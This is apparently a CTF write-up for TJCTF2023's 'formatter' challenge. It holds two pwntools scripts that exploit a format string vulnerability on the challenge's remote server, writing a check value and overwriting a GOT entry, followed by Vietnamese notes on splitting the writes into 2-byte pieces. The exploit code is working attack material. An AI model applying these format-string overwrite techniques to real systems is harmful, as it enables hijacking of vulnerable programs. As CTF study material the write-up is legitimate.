🔯formatter - TJCTF2023
Challenge

Solution
from pwn import *
elf = context.binary = ELF("./chall")
context.log_level = "DEBUG"
libc = elf.libc
r = elf.process()
r = remote("tjc.tf",31764)
# gdb.attach(r ,
# '''
# b*main+137\n
# b*r1+24\n
# b*main+115\n
# c
# ''')
##########
# useful #
##########
check = 0x86a693e #141191484
###########
# exploit #
###########
write = {0x403500: check-2 , elf.sym['xd']:0x403500}
payload = fmtstr_payload(6,write)
r.sendlineafter(b":", payload)
r.interactive()

Cách 2
from pwn import *
elf = context.binary = ELF("./chall")
# context.log_level = "DEBUG"
libc = elf.libc
r = elf.process()
r = remote("tjc.tf",31764)
# gdb.attach(r ,
# '''
# b*main+137\n
# b*r1+24\n
# b*main+115\n
# c
# ''')
##########
# useful #
##########
check = 0x86a693e #141191484
addr_contant_value = 0x403500
free_got = 0x4033c8
main = 0x401329
###########
# exploit #
###########
payload = b"%2154p%14$hn%24786p%13$hn%4172269p%16$n%8663p%15$n------" #offset 6 7 8 9 10 11 12
#Ghi đè giá trị check vào địa chỉ rỗng
payload += p64(addr_contant_value) #offset 13
payload += p64(addr_contant_value+2) #offset 14
#ghi địa chỉ rỗng chứa giá trị check vào giá trị xd.
payload += p64(elf.sym["xd"]) # offset 15
#ghi đè free_got để tránh chương trình xảy ra lỗi
payload += p64(free_got) # offset 16
r.sendlineafter(b":", payload)
r.interactive()


Done

Chú ý 1 xíu, đó là nếu bạn chạy trên local bạn có thể ghi bất cứ giá trị nào và ghi bao nhiêu cũng được. Nhưng trên sever nếu bạn ghi quá nhiều byte thì chương trình sẽ bị crash. Do đó xảy ra lỗi không mong muốn.
Bởi vậy giải pháp cho nó là chia nhỏ giá trị cần ghi đè ra thành 2 byte là được.
Last updated